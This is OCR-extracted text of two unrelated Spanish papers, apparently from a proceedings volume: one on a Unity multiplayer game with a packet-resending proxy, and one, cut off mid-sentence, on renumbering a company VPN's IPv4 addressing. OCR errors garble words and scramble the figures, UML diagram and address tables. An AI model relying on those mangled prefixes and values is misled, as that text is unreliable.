Libreria JNetPcap 1 0
Editor Unity3d version gratuita 1 0
Entorno de desarrollo Eclipse 1 0
COSTE TOTAL: 11110
<) Run Run Bunny o] @ ==

Score: 0

Fig. 2. Pantalla de juego de Run Run Bunny
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Una vez iniciada la partida, el jugador que pierda puede
decidir volver al mend principal o permanecer como
espectador hasta que ésta termine. Al llegar un jugador a la
meta, se mostrard una ventana con un botén que llevara a una
ventana de resultados, mostrando las puntuaciones de todos
los que han participado en la partida. Desde este punto, el
usuario tiene la posibilidad de volver a jugar, en cuyo caso
volverd a la sala de espera, o de salir del juego y volver al
menu principal.

En caso de que el servidor se desconecte, todos los clientes
gue estaban conectados a él volveran al mend principal.

B. Métodos de comunicacion en Unity

En un videojuego en linea hay dos tipos de
aproximaciones: servidor autorizado y servidor no
autorizado. En el caso de servidor autorizado, es el servidor
quien controla los movimientos de todos los elementos del
juego (un cliente solo le avisa de qué tecla ha pulsado, y en
base a la tecla pulsada, el servidor comprueba cudl es el
estado del mundo tras haber pulsado esa tecla), en el servidor
no autorizado son los clientes los responsables de sus propios
objetos, y se encargan de modificar su estado y enviar la
informacion pertinente al servidor para que éste la
retransmita a todos los clientes.

El tener un servidor no autorizado implica que un cliente
no sufrird lag o pérdidas en cuanto a sus propias acciones,
pero no es seguro ante el hecho de poder hacer trampas. En
cambio, teniendo un servidor autorizado, al ser éste el que se
encarga de toda la ldgica del juego, no hay posibilidad de que
los clientes hagan trampas, ya que éstos solo les dicen al
servidor la accion que desean tomar, y el servidor es el que
determina qué ha sucedido al realizar tal accion.

Para que los clientes y el servidor se comuniquen entre si
se utilizaran dos métodos de comunicacion en Unity: las
llamadas a procedimiento remoto (RPC) vy la
sincronizacion de estado (State Synchronization). Las
primeras se realizaran en casos puntuales del juego: cuando
un personaje ha cogido una zanahoria de puntos, al caer un
personaje por un barranco, etc.

Por otro lado, la sincronizacion de estado se aplica a un
objeto de juego. Hace que un componente de dicho objeto se
sincronice en todos los equipos de la red. Podemos distinguir
dos tipos: sincronizacién de estado fiable y sincronizacion
de estado no fiable. En el primer tipo, cuando el servidor
envia un mensaje con el estado actual de un objeto (en
nuestro caso, Unicamente la posicion, rotacion y tamafio del
objeto), se asegura que el receptor lo ha recibido. No envia
ningln paquete nuevo hasta que no se asegure de ello.
Ademas, sblo se envian los datos que han cambiado con
respecto al dltimo estado. Asi, por ejemplo, si un objeto ha
modificado su posicion pero no su rotaciéon desde la ultima
vez que el cliente recibié correctamente un paquete de
sincronizacion de estado, sélo se enviara la nueva posicion.
De esta forma, se economiza en cuanto a ancho de banda.

En el caso de sincronizacion no fiable, los paquetes se
envian sin confirmar que han llegado correctamente a su
destino. Esto agiliza la comunicacién, lo que la hace la
opcidn ideal para casos en los que se necesite rapidez (como
el caso que nos atafie). En este caso, en los paquetes siempre
se envia toda la informacion del estado del escenario, de tal
forma que si un paquete con la posicion de los personajes
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sufre una pérdida, el siguiente paquete que llegue corregira la
posicion en el cliente.

Para el videojuego Run Run Bunny, se ha elegido la
filosofia de servidor autorizado, y se ha optado por la
sincronizacién de estado no fiable.

C. Disefio de la técnica de reparacion de pérdidas de
paquetes

Una vez disefiado el videojuego, se hace el disefio del
programa que se ocupard de la reparacion de pérdidas de
paquetes, con objeto de minimizarlas lo maximo posible.
Para este trabajo se hace la suposicién de que las pérdidas no
se generan por congestion en la red, sino que son debidas a
errores 0 ruido en los enlaces, como ocurre en redes
inalambricas o celulares.

Como técnica de reparacion de paquetes se utilizara una
técnica basada en la técnica de correccidn de errores hacia
adelante (FEC): se transmitird informacién redundante de
forma preventiva. Es decir, los paquetes necesarios para la
sincronizacion de estado del juego se enviaran varias veces,
para aumentar la posibilidad de que al menos una copia del
mensaje llegue al destino a pesar de encontrarnos en un
entorno con pérdidas. Es una técnica sencilla y relativamente
poco eficiente, pero dado que necesitamos rapidez al tratarse
de una aplicacion en tiempo real y que disponemos de
recursos y tiempo limitados, puede ser una buena opcion. El
motivo de que se envie el mensaje completo es que no
conocemos el protocolo que utiliza Unity en la comunicacion
por lo que, al ser privado, no queda mas remedio que enviar
el paquete completo.

Se realiz6 una primera aproximacion con JNetPcap, una
libreria de Java. Con esta libreria, se pueden utilizar diversos
métodos para monitorizar la llegada de paquetes en un
interfaz y realizar envios. La idea era la de monitorizar el
interfaz correspondiente, hacer un filtrado de los mensajes
que salian del servidor hacia los clientes y enviarlos un
nimero determinado de veces. No obstante, tras varias
pruebas, se pudo observar que el método era demasiado
lento, inaceptable para una aplicacién en tiempo real.

Es por ello que se propuso un disefio alternativo. Para
realizar este mecanismo, se creara un proxy que sirva de
intermediario entre el servidor y los clientes. El proxy
reenviara los paquetes que le lleguen desde los clientes hacia
el servidor, y los paquetes que provengan del servidor hacia
un cliente, se lo enviard a éste un ndmero de veces
determinado por el usuario.

El usuario podra seleccionar escribiendo por teclado el
puerto donde estara escuchando el proxy de cara a los
clientes, y tendra que escribir el puerto por el que esta
escuchando el servidor y su direccion IP, ademas del nimero
de veces que deben enviarse los mensajes a los clientes,
como ya se ha dicho con anterioridad. Los clientes en este
caso deben conectarse al puerto de escucha del proxy, y no al
del servidor.

La Fig. 5 muestra un ejemplo del esquema de
funcionamiento del mecanismo de reparacion para 1 cliente.
El cliente 1 envia un mensaje de conexion (flecha azul) desde
un puerto determinado (en el ejemplo, el puerto 52145) hacia
el puerto de escucha del proxy. Al recibir dicho paquete,
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el proxy crea una hebra para atender al cliente, y reenvia el
paquete al servidor desde el mismo puerto que el del cliente.
Los mensajes de respuesta del servidor se envian hacia el
proxy por el puerto correspondiente, y la hebra asociada al
cliente en cuestion le reenvia el mensaje “n” veces al mismo.
El proceso es similar cuando se conectan 2 clientes, sdlo que
en este caso los puertos de los clientes y del proxy hacia el
servidor para cada uno de los clientes son diferentes entre si,
y se lanza una nueva hebra para el segundo cliente, y asi con
las sucesivas conexiones de clientes que se den.

V. IMPLEMENTACION

Ya se ha mostrado el disefio de las dos aplicaciones que
componen el proyecto. Seguidamente, se procede a exponer
cémo se ha realizado la implementacion de las mismas.

A. Implementacion del videojuego

El juego se ha desarrollado utilizando el motor de
videojuegos Unity en su versidn gratuita. Para una mayor
organizacion, el juego se ha dividido en escenas (scenes) o
niveles, cada una con los elementos necesarios para poder
realizar sus funciones: Menu, que comprende la parte
correspondiente al mend principal del juego, Game, la cual
corresponde a la partida en si, y Results, donde se muestran
los resultados de la partida.

Cada una de estas escenas contiene objetos de juego
(GameObijects), los cuales a su vez pueden contener ciertos
componentes como gestores de fisica, animadores,
renderizador de sprites, etc. Los méas importantes son los
scripts, escritos en el lenguaje de programacion C#. Estos
scripts estdn vinculados al objeto al que pertenecen, y se
ejecutan al aparecer el objeto en escena, de forma
concurrente. Se pueden decir que conforman “el guion” que
debe seguir el objeto una vez que esté en la escena.

Pero en este apartado, destacaremos el componente
Network View (ver Fig. 5). Este componente es el que da la
posibilidad de afiadir al objeto la sincronizacion de estado y
realizar llamadas a procedimiento remoto en los scripts. En él
se puede elegir el tipo de sincronizacién de estado que se
desea que tenga el objeto. ElI componente observado
(Observed) determina qué datos se sincronizaran en todos los
puntos de la red. En nuestro caso, sincronizaremos el
componente Transform (posicién, rotacién y tamafio del
objeto), para el caso de los conejos y el camion. Hay otros
objetos que, a pesar de tener el componente Network View,

no tienen sincronizacioén de estado, sino que sélo lo utilizan
para poder hacer uso de RPCs.

B. Implementacion del mecanismo de reparacion de
pérdidas de paquetes

Para el programa de reparacion de pérdidas, tras varias
pruebas fallidas utilizando la libreria JNetPcap como se
comentd con anterioridad, se decidi6 implementar un proxy
intermedio entre el servidor y los clientes. Este actuaria de
intermediario de ambos, pero enviando “n” veces los
paquetes que provienen del servidor, donde “n” es un numero
que el usuario le haya determinado por entrada de texto
(minimo 1 vez, m&ximo 10). El resto de paquetes se envian
solo 1 vez. Para la implementacion del programa
correspondiente, se ha utilizado el lenguaje Java, usando la
plataforma Eclipse. El programa se compone Unicamente de
dos clases: ProxyUnity, la clase con el método principal, y
Hebra, que incluye los métodos y atributos necesarios para
operar con cada una de las hebras asociadas a cada cliente.
En la Fig. 7 puede observarse el diagrama UML de clases de
la aplicacién.

VI. ESTUDIO DEL TRAFICO DE UNITY Y EVALUACION

Tras haber desarrollado el videojuego en una version
alpha, y con objeto de poder realizar un disefio del programa
de reparacion de pérdidas, primero se realiz6 un pequefio
estudio del trafico generado por el motor de videojuegos
Unity, tratando asi de disefiar la técnica de reparacion
adaptada a Unity en lo posible.

Tras el estudio realizado y la implementacion de la técnica
de reparacion, se comprob¢ la efectividad de la misma en
base a las opiniones y calificaciones expuestas por varios
sujetos.

A. Primer estudio del tréfico de Unity

En un primer estudio se comprobd la diferencia entre utilizar
sincronizacion de estado fiable y sincronizacion de estado no
fiable. Se dispone de un equipo actuando como servidor,
donde ejecutamos el analizador de protocolos Wireshark
[10]. En el equipo del cliente, ejecutamos el simulador de
problemas de red Clumsy [11], el cual nos permite
configurarlo con cualquier porcentaje de pérdidas. De esta
forma, capturamos los paquetes que salen del servidor y que
vienen desde el cliente para 4 casos: sincronizacion fiable con
pérdidas y sin pérdidas y sincronizacion no fiable con

ProxyUnity
- socket : DatagramSocket
- address : InetAddress
- portint
- socketClientesProxy : DatagramSocket:
- serverAddress : InetAddress
- serverPort : int
- sendTimes : int 0. *
- startProxy() : void ’
+ main (args : String[]) : void

1

Hebra
- socket : DatagramSocket
- address : InetAddress
- port : int
- socketClientesProxy : DatagramSocket
- serverAddress : InetAddress
- serverPort : int
- sendTimes : int
- setServerAddress(serverAddress :
InetAddress) : veoid
- setServerPort(serverPort : int) : void
- run()
- sendToServerFromClient(paquete :
DatagramPacket) : void

Fig. 6. Diagrama UML del mecanismo de reparacion de pérdidas de
paquetes
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pérdidas y sin pérdidas. Los resultados para el caso del
servidor pueden consultarse en las Fig. 7-10, y para el caso
del cliente en las Fig. 11-14.
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Se observa que los tamafios de paquete por parte del
servidor en sincronizacion no fiable son mayores que en
sincronizacion fiable. Esto es debido a que en la
sincronizacién no fiable en los paquetes siempre se envia
toda la informacion del estado del escenario, y en la fiable
solo el cambio con respecto al Gltimo paquete que llegé
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correctamente. El comportamiento en sincronizacion de
estado no fiable es independiente de las pérdidas que haya en
la red.
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Fig. 11. Paquetes del cliente en sincronizacion fiable (50% de pérdidas)
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Para el caso de paquetes enviados por el cliente, se puede
apreciar que el hecho de que la sincronizacion de estado sea
fiable o no fiable, le es indiferente. Tan sélo afecta el hecho
de que haya pérdidas o que no las haya. Ciertos paquetes por
parte del cliente sélo se envian cuando hay pérdidas.
Comprobéandolo con Wireshark, se observa que estos
paquetes empiezan por el byte Oxa0. Estos podrian ser
paquetes que notificaran al servidor que hay pérdidas.
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B. Segundo estudio del trafico de Unity

En un segundo estudio, se comprobd la diferencia entre el
tamafio de paquetes por parte del servidor en 1 jugador y en 2
jugadores. Para ello, se dispone de un equipo ejerciendo de
servidor y ejecutando Wireshark y dos ordenadores que se
conectan como clientes. La sincronizacion de estado era no
fiable. Se observo que los paquetes de estado del servidor
para partidas de dos jugadores eran mayores que para
partidas de un jugador. Esto implica que la sincronizacion de
estado de todos los objetos se envia en un solo paquete, que
serd mayor cuanto mayor sea el nimero de objetos a
sincronizar

C. Evaluacion de la técnica de reparacion

Para la evaluacion de la técnica, se hizo de forma
subjetiva. Se les pidi6 a 5 sujetos que valoraran la
experiencia de juego en una escala MOS [12]: 1 (Mala), 2
(Mediocre), 3 (Regular), 4 (Buena) y 5 (Excelente). Las
pruebas eran partidas de un jugador con distintos valores de
porcentajes de pérdidas, primero sin aplicar la técnica de
reparacion y luego utilizandola. Los porcentajes de pérdidas
que se han tratado son: 10%, 15%, 25%, 40% y 50%. Se
utilizaba sincronizacion de estado no fiable. Las
calificaciones medias se muestran en la Fig. 15. En rojo se
muestra la calificacion utilizando la técnica, en azul sin
utilizarla y en verde la diferencia entre ambas calificaciones,
es decir, la mejora experimentada al habilitar el proxy en
comparacién al mismo escenario sin proxy. Nétese que se
obtiene 1 punto MOS de mejora al utilizar la técnica de
reparacion, y que el efecto de la técnica parece ser mas
notable cuanto mayor es el nimero de pérdidas.

VII. CONCLUSIONES Y TRABAJOS FUTUROS

En el proyecto, se ha disefiado e implementado un
videojuego multijugador de hasta 4 jugadores en linea,
ademas de un mecanismo de reparacion de pérdidas de
paquetes basado en afiadir redundancia a la comunicacion. A
continuacion se ha realizado un estudio del trafico que genera
Unity y se ha evaluado la técnica de reparacion mediante
tests de opinién sobre usuarios reales, y ha mostrado ser
eficaz, obteniendo como minimo un 1 punto MOS de mejora
para casi todos los porcentajes de pérdidas estudiados.

En cuanto a trabajos futuros, ambas aplicaciones podrian
mejorarse. Por ejemplo, al videojuego se le podria afiadir un
chat a la sala de espera, agregar habilidades o Power-Ups a
los personajes y adaptar el juego para su ejecucién en
moviles o tablets. La técnica de reparacion podria mejorarse
haciendo un algoritmo dinamico para la adaptacion del
namero de envios de paquetes en funcién de las condiciones
de red, asi como afadir un interfaz grafico para hacerlo mas
comodo de manejar.
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Resumen— Este trabajo consiste en el redisefio parcial del
direccionamiento interno de la red privada virtual de la
empresa Cosentino. En la fase inicial del proyecto se analiza en
detalle la red corporativa, se identifican sus problemas y
debilidades, se hace una estimacion del crecimiento futuro y se
establecen una serie de restricciones. Sobre la base de todo ello
se fija una politica de direccionamiento que se concreta en un
plan de re-numeracion de red. La implementacion del plan de
direccionamiento no solo da solucién a los problemas detectados
en la red privada objeto de estudio, sino que permite fijar las
bases para su crecimiento ordenado futuro.

Palabras clave— Direccionamiento [P, escalabilidad, red
privada virtual.

I. INTRODUCCION

STE proyecto tiene como objeto de estudio y &mbito de

trabajo la red privada virtual de la empresa Cosentino.
Dicha empresa es una compafiia multinacional con presencia
en las principales ciudades de Europa, Estados Unidos,
Brasil, Australia y México. En sus origenes, Cosentino era
una pequefia empresa cuya infraestructura crecié rapidamente
hasta convertirse en la empresa multinacional que es hoy en
dia. Ademas, en la actualidad, Cosentino esta inmersa en un
ambicioso proyecto de expansion para extender su presencia
hacia nuevos mercados tales como Oriente Medio y sureste
de Asia, asi como para afianzarla en aquellas zonas de
negocio donde ya esta presente. Toda la infraestructura
empresarial estd soportada por una VPN montada sobre la
infraestructura publica de Internet e incluye diversos tipos de
instalaciones, tales como centros de distribucién, talleres de
transformacion del producto, data centers, oficinas vy
poligono industrial en Cantoria, donde se ubican sus oficinas
centrales y las fabricas de sus principales productos. El
rapido crecimiento de la empresa y de su red no ha sido
coherente con una politica de direccionamiento adecuada.
Esta circunstancia ha dado como resultado un disefio de red
que, a corto y medio plazo, esté dificultando la escalabilidad
y la operacion de la red.

Asi, el presente trabajo tiene como hecho desencadenante el
agotamiento del espacio de direcciones IP disponibles en
buena parte de las ubicaciones de red VPN de Cosentino.
Esta circunstancia imposibilita la conexion de nuevos
dispositivos, dejando patente la necesidad de wuna
modificacion en la red corporativa que dé solucion a este
acuciante problema. Un estudio pormenorizado de la red

revela la existencia de una serie de problemas adicionales
sobre los que también se necesita actuar. Asi pues, se plantea
la necesidad de acometer un proyecto que tenga como
propdsito dar una solucion total o parcial a los distintos
problemas sin afectar la operacion de red y que, ademas, haga
posible la introduccion de una serie de mejoras que
favorezcan el rendimiento de la red en el futuro inmediato.

El desarrollo del presente documento, en coherencia con la
labor técnica que describe, parte de la necesaria etapa de
andlisis para identificar los problemas existentes. Tras ello se
discute la fase de disefio, donde se concretan las mejoras
especificas a introducir. Finalmente, en la fase de
implementacion se discuten las actuaciones puestas en
marcha para introducir de forma efectiva las mejoras
pretendidas sin afectar la operacion de la red.

Il. FASE DE ANALISIS

En la fase inicial del proyecto se realiza un breve estudio
del pasado, presente y las perspectivas de futuro de la
empresa a fin de entender mejor el disefio actual de la VPN y
sus necesidades futuras. Este analisis revela la existencia de
una serie de problemas cuya resolucion serén los objetivos de
proyecto. Dichos problemas son los que se listan a
continuacion:

1) Uso de direccionamiento publico en la red interna

Ciertas secciones de red vinculadas con el area de
produccion contienen dispositivos configurados con
direcciones IP publicas de los rangos 1.0.223.0/24 y
1.0.224.0/24. Esta circunstancia genera una ambigiedad en
el enrutamiento que impide el acceso a recursos de Internet
(alojados en dichos rangos) desde la red del poligono de
Cantoria, al tiempo que complica el acceso remoto para
soporte por parte del fabricante de dichos dispositivos.

2) Incorrecto criterio de asignacion de numeros de red
La asignacion de los prefijos a las ubicaciones de red es
inadecuada puesto que los ndmeros de red escogidos son
muy cercanos entre si y cualquier modificacion en la
longitud de prefijo, a fin de proporcionar mayor espacio de
direccionamiento, daria lugar a solapamientos.

3) Agotamiento del espacio de direcciones en sedes
remotas

Los prefijos de red asignados en la mayoria de las sedes o
delegaciones de Cosentino proporcionan un espacio de
direcciones IP disponibles insuficientes para los requisitos
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actuales. En consecuencia, es habitual la aparicion de
problemas de conexidn a red en sedes remotas debido a la
escasez de direcciones IP.

4) Agotamiento del espacio de direcciones en la red
inaldmbrica del poligono industrial de Cantoria

El campus donde se ubican las oficinas centrales de
Cosentino y sus fabricas, situado en la localidad almeriense
de Cantoria, cuenta con una red inaldmbrica Unica. El
porcentaje de uso actual del total de direcciones IP
disponibles alcanza el 97 % durante horas pico. Asi pues,
se hace necesario ampliar el espacio de direcciones a fin de
garantizar la conectividad WiFi en esta ubicacion de red.

Si bien la escasez de direcciones IP disponibles podria
solucionarse en base al empleo de IPv6, a fecha de hoy es
necesario encontrar una solucién 1Pv4 para el futuro
inmediato y para la fase de transicidn hacia IPv6, proceso
este que tomara afios, si no décadas.

5) Fragmentacion del espacio de direccionamiento

El espacio de direccionamiento privado (10/8) empleado se
encuentra fragmentado si se atiende a criterios geograficos.
Se da la circunstancia de que una misma red fisica cuenta
con numeros de red muy distantes entre si dentro del
espacio de direccionamiento. Por otra parte, existen
ubicaciones de red situadas en continentes distintos que
emplean direcciones de red muy prdximas entre si. En esta
circunstancia se hace imposible realizar una adecuada
abstraccion de informaciébn de enrutamiento que
naturalmente ha de hacerse en base a criterios geograficos.

I1l. FASE DE DISENO

A partir de los problemas/limitaciones antes detectados, la
fase de disefio parte de la definicion de una politica de
direccionamiento que se apoya en dos pilares fundamentales:

a) Enfoque global. Se tomaré el espacio reservado para
direccionamiento interno (10.0.0.0/8) y se asignara
considerando como ambito de presencia toda la geografia
mundial.

b) Criterios geogréaficos. La estrategia de asignacion
empleard criterios geograficos. Se disefiardn bloques de
direcciones consecutivas que seran asignados para su
concesidn a ubicaciones de red segun la zona geogréfica de
adscripcién.

La politica de direccionamiento se concretara en un plan de
numeracion que asignara direcciones a las ubicaciones de
redes actuales y futuras. La implementacion del plan de
direccionamiento  escogido plantea un reto técnico
denominado renumbering (re-numeracién) recogido en
diversos documentos RFC informativos, tales como RFC
1900  “Renumbering  Needs Work”s, RFC 5887
“Renumbering Still Needs Work” s, RFC 1916 “Enterprise
renumbering: Experience and Information Solicitation [g],
RFC 2071 “Network Renumbering Overview: Why would |
want it and what is it anyway? o1 Yy RFC 2072 “Router
Renumbering Guide "0 EI renumbering o re-numeracion es
el proceso consistente en la migracion de la numeracion
actual de una red en produccién a un nuevo rango de
direccionamiento minimizando la interrupcion en la
operacion de dicha red.

Se plantean dos alternativas para el plan de
direccionamiento: teorica y practica. Son como sigue:

1) Plan de direccionamiento tedrico. Este plan toma la
direccion IPv4 y la divide en una serie de campos:

- red: este campo se corresponde con el primer octeto y
posee valor constante 10, puesto que se esta usando el
espacio reservado 10.0.0.0/8.

- zona: compuesto por los bits 9 y 10, los diferentes valores
de dicho campo permiten codificar cuatro zonas
geogréficas principales.

- subzona: compuesto por los bits 11 y 12, los distintos
posibles valores de dicho campo permiten codificar hasta
un maximo de cuatro sub-zonas geograficas para cada una
de las zonas geograficas principales.

- delegacion: compuesto por los bits 13 al 20, este campo
permite codificar 256 ubicaciones de red para cada una de
las cuatro sub-zonas.

- host: compuesto por los bits restante (21 al 32), este
Gltimo campo definird la direccion IP de cada dispositivo
final conectado a la red en cuestion.

La Figura 1 expone graficamente la subdivisién en campos
realizada para la direccidon IPv4 expuesta anteriormente. El
valor binario asignado al campo zona definira el prefijo
asignado a cada una de las cuatro zonas geograficas
principales disefiadas. Por su parte el valor binario asignado
al campo subzona (conjuntamente con el valor del campo
zona) definiré el prefijo asignado a cada una de las dieciséis
sub-zonas disefiadas. La Tabla | expresa en base decimal los
distintos prefijos y su asignacion por zonas y subzonas.

Por su parte, En la Figura 2 se muestran graficamente las

cuatro zonas geograficas principales disefiadas, junto con los
prefijos asignados a cada una de ellas.

<+ 32 bits

| primer octeto | segundo octsto tercer octeto cuarto octeto

| 8 ‘ 2 ‘ 2 ‘ 8 | 12

| Red (Clase 4) ‘ zona ‘subzona‘ delegacitn | host

1 8 910 1112 13 20 21 3

Fig. 1. Division en campos de la direccion IPv4 segun el plan de
direccionamiento tedrico.

TABLA

POTENCIAL ASIGNACION DE PREFIJOS POR ZONAS Y SUB-ZONAS

Zona Prefijo Sub-zona Prefijo

Europa Occidental 10.0.0.0/12
PO Europa Central 10.16.0.0/12

Ei -Af 10.0.0.0/10
uropa-Alrica Europa del Este 10.32.0.012
Africa 10.48.0.0/12
O. Medio-India 10.64.0.0/12
. - Rusia Occidental 10.80.0.0/12
Asia-Pacifico 10.64.0.0/10 Sureste 10.96.0.012
Australia.-Indonesia 10.112.0.0/12
USA Sur 10.128.0.0/12
. USA Norte 10.144.0.0/12
América-Norte 10.128.0.0/10 México 10.160.0.0/12
Canada, Alaska 10.176.0.0/12
Sudamérica Norte 10.192.0.0/12
- Brasil 10.208.0.0/12
América-Sur 101920000 — o rica -Pacifico 10.024.00/12
Sudamérica Sur 10.240.0.0/12
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10.128.0.0/10
"\ 4

-~ .

10.192.0.0/10

10.0.0.0/10 3

10.64.0.0/10 3

Fiaura 2. Zonas aeoaraficas principales seatin el plan de direccionamiento teérico

2) Plan de direccionamiento practico. Este plan realiza
una divisién del espacio de direccionamiento privado
10.0.0.0/8 en bloques de direcciones contiguos. Dichos
bloques seran divisiones binarias limpias para poder ser
expresados en términos de prefijos.

La Figura 3 expresa la proporcién de los distintos blogues
contiguos en los que ha sido dividido el espacio de
direccionamiento privado clase A.

La Figura 4 muestra los distintos blogques disefiados, sus
tamafios y las zonas geograficas a las que han sido asignados.
Destacar que se reservan para uso futuro dos de los bloques
disefiados (8 y 9), los cuales no tienen una asignacion
geografica. El codigo de colores empleado facilita la
comparacion visual con la proporcion de cada bloque en
relacion con el espacio de direccionamiento 10.0.0.0/8
representado en la Figura 3.

Bloques
L1 23] & [ 5 ] 5 [7]8] 9 ]
— +—>

Fig. 3. Disefio de bloques en el espacio de direccionamiento 10.0.0.0/8.
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e Color Superred Asignado a
1 10.0.0.0/11 Poligono industrial en Cantoria (Almeria)
10.32.0.0/12 Sedes Europa
10.48.0.0/12 América Norte
10.64.0.0/11 Sudamérica
10.96.0.0/11 Poligono industrial en Cantoria (Almeria)

10.128.0.0/10 Asia - Pacifico

10.192.0.0/12 Africa

10.208.0.0/12 Reservado para uso futuro

O [ oo [ =1 | || | Lo | b

10.224.0.0/11 Reservado para uso futuro

Fig. 4. Asignacion de bloques por zonas geogréficas.

Segun este plan de direccionamiento practico, el disefio de
blogues de direcciones permite realizar una abstraccion de la
informacién de direccionamiento en base a cinco zonas
geograficas principales: Europa, Africa, Asia-Pacifico,
América del Norte y América del Sur. Cada una de esas
zonas tiene asignado un Unico bloque de direcciones con la
excepcion de la zona europea a la que se asignan tres bloques
de direcciones. Dicha circunstancia obedece al cumplimiento
de una serie de restricciones de proyecto que se explican mas
adelante.

La Figura 5 muestra las cinco zonas principales en las que
quedaria dividida la geografia mundial segun el plan de
direccionamiento practico.
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Bloque #3 = 10.48.0.0/12

Bloque #4 = 10.64.0.0/11 3

(N

Bloque #1 = 10.0.0.0/11
Bloque #2 = 10.32.0.0/12
Bloque #5 = 10.96.0.0/11

Bloque #6 = 10.128.0.0/10

Bloque #7 = 10.192.0.0/12 >

Fig. 5. Zonas geogréficas principales segun direccionamiento practico.

La eleccién del plan de direccionamiento (0 numeracion)
final estd condicionada por una serie de restricciones
impuestas por la empresa y por la propia actividad del
negocio que Cosentino lleva a cabo. Las restricciones de
proyecto son tres:

a) No modificar la numeracion de red en data centers. Los
data centers cumplen dos funciones fundamentales: proveer
interconexién de nodos VPN y dar alojamiento a servicios
criticos para la operacion de la empresa. La modificacion
del direccionamiento en dichos data centers conlleva un
alto riesgo, pudiendo causar el maximo impacto imaginable
en la operacion de la empresa.

b) No modificar la numeracién en las secciones de red
vinculadas con produccién. La modificacion de la
numeracion de red en las secciones de red que soportan las
lineas de produccion supone un alto coste de
implementacién puesto que precisa la intervenciéon de mano
de obra especializada y capacitada por el fabricante de la
magquinaria. Asimismo, el cambio de direcciones conlleva
un alto riesgo de provocar paradas en el proceso productivo.
No obstante lo anterior, se hara una excepcion en aquellos
dispositivos numerados con direcciones IP publicas, los
cuales seran migrados a rangos de IP internas.

¢) Uso exclusivo de recursos internos a la compaiiia e
implementacion remota de las soluciones disefiadas. La
empresa impone esta restriccion con el fin de reducir los
tiempos y costes de implementacion del proyecto.

Considerando las restricciones de proyecto, la opcién
escogida para el plan de numeracién que se llevard a la
practica es el plan de direccionamiento practico. Dicho plan
tiene como principales ventajas el hecho de que cumple con
las pautas marcadas por la politica de direccionamiento, es
compatible con las restricciones del proyecto, tiene en
consideracion el direccionamiento de la red desplegada hasta
el momento y da solucidn a los problemas detectados en la

red. Frente a él, el plan de direccionamiento teérico, que
sobre el papel es un disefio mucho mas dptimo y elegante, no
observa las restricciones de proyecto ni tiene en cuenta la
numeracion de la red actual. En consecuencia, la
implantacion de dicho plan seria muy traumatica y elevaria
enormemente los costes de implementacién haciendo el
proyecto injustificable e inviable.

IV. FASE DE IMPLEMENTACION

Una vez escogido el plan de direccionamiento a
considerar se pasa a la implantacién del mismo. Para llevar a
la préctica el proyecto seran necesarios dos tipos de recursos:
humanos y software:

a) Recursos humanos. Es el recurso que mayor coste
representa. La mano de obra sera necesaria para la
ejecucion del proyecto es de tres tipos:

- Supervisor de proyecto: técnico encargado de coordinar
y dirigir las tareas del proyecto y el trabajo del resto de
componentes del equipo.

- Equipo de red: grupo formado por dos técnicos de red
con certificacion CCNA, los cuales llevaran a cabo la
mayor parte del esfuerzo de migracion. Se requiere la
mencionada certificacion puesto que la VPN de Cosentino
se compone integramente por electronica de red fabricada
por Cisco Systems.

- Equipo de help-desk: grupo formado por dos técnicos de
soporte técnico que prestaran apoyo al equipo de técnicos
de red en incidencias menores derivadas del cambio en las
direcciones IP, tales como actualizacion de direcciones IP
en aplicaciones que gestionen impresoras, escaneres,
unidades de red, etc.

b) Recursos software. Para la realizacién de las diversas
tareas en que se divide el proyecto serd necesaria la
utilizacion de diversas herramientas software:
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- Software escaner de red, que permitird analizar los
equipos conectados a una determinada red antes y después
de efectuar la migracion de la misma.

- Emulador de terminal y navegador web, posibilitaran
cambiar la configuracion de red de los equipos conectados
tales como routers, switches, gateways de telefonia,
impresoras, escaneres y camaras de seguridad, entre otros.

- Calculadora de subredes IP, que se utilizara para hacer
los calculos de subnetting para las distintas redes y
subredes.

- Herramienta de soporte remoto, que posibilitard la
conexion remota a computadoras de usuarios para la
resolucion de incidencias derivadas del cambio de
direcciones IP.

- Herramientas auxiliares para documentaciéon. La
modificacion de la red sera considerable, por lo que sera
necesario  producir una exhaustiva y detallada
documentacion que recoja el nuevo direccionamiento. Sera
necesario elaborar diagramas de red, listados de equipos,
planes de implementacion, tablas de correspondencia entre
los rangos antiguo y nuevo, asi como cualquier otro detalle
relevante para poder llevar a cabo una adecuada gestion de
red en el futuro.

Se establecen tres lineas de trabajo o tareas que daran como
resultado la implementacion de las soluciones disefiadas.
Dichas tareas son las siguientes:

1) Migracién de sedes remotas. La aplicacion del plan de
direccionamiento practico acarrea la migracion de un total
de 52 sedes a nuevos rangos de direcciones. Dicha
migracion es realizada remotamente y requiere un analisis
detallado de cada sede y una cuidadosa planificacion. La
estrategia de migracion sin perdida de gestion remota en los
equipos hace necesario representar la topologia de red de
cada sede en una estructura en arbol donde el nodo raiz es el
router VPN, los nodos intermedios son los switches y los
nodos hoja los dispositivos finales (impresoras, teléfonos
IP, ordenadores, etc.). Una vez construida la estructura en
arbol que representa la red de la sede se procede al cambio
en las direcciones IP siguiendo un orden en el cual, antes de
migrar un nodo padre, se migraran todos sus nodos hijos. El
Gltimo nodo en ser re-numerado serd el nodo raiz, esto es, el
router VPN. Una vez migrado el router habra un breve
periodo de tiempo en que se carece de gestion remota, que
se corresponde con el restablecimiento de los tineles VPN.
Una vez restablecidos dichos tuneles se recupera la gestion
remota de los equipos conectados al nuevo rango de red.

2) Segmentacién de la red WiFi del poligono industrial de
Cantoria. Esta tarea o actuacién consiste en modificar la
configuracion de la red fisica de dicho poligono generando
dos nuevas VLAN de nivel 3 que proporcionaran sendas
redes inalambricas independientes que proveerdn de un
espacio de direccionamiento mayor. Esta parte del proyecto
conlleva tareas de configuracion adicionales que quedan
fueran del alcance del mismo, siendo planteadas como una de
las lineas de trabajo futuras.

3) Eliminacién del direccionamiento publico en la red
interna. Esta Gltima linea de trabajo comprende dos partes.
La primera consiste en la modificacion de la configuracion de
la red fisica del poligono de Cantoria para crear una nueva
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VLAN de nivel 3 con direccionamiento interno, a la cual
seran migrados todos aquellos dispositivos numerados con
direcciones IP publicas (rangos 1.0.223.0/24 y 1.0.224.0/24)
y serd responsabilidad del equipo de técnicos de red
encargados del proyecto. La segunda parte del esfuerzo queda
fuera del alcance de este proyecto, siendo transferida la
responsabilidad de dicha migracion al departamento de
Automatica Industrial, el cual se encarga de operar dichos
dispositivos.

V. CONCLUSIONES Y LINEAS FUTURAS

El grado de cumplimiento alcanzado para los objetivos
marcados al principio del proyecto puede ser evaluado con
total exactitud puesto que dicho proyecto ha sido
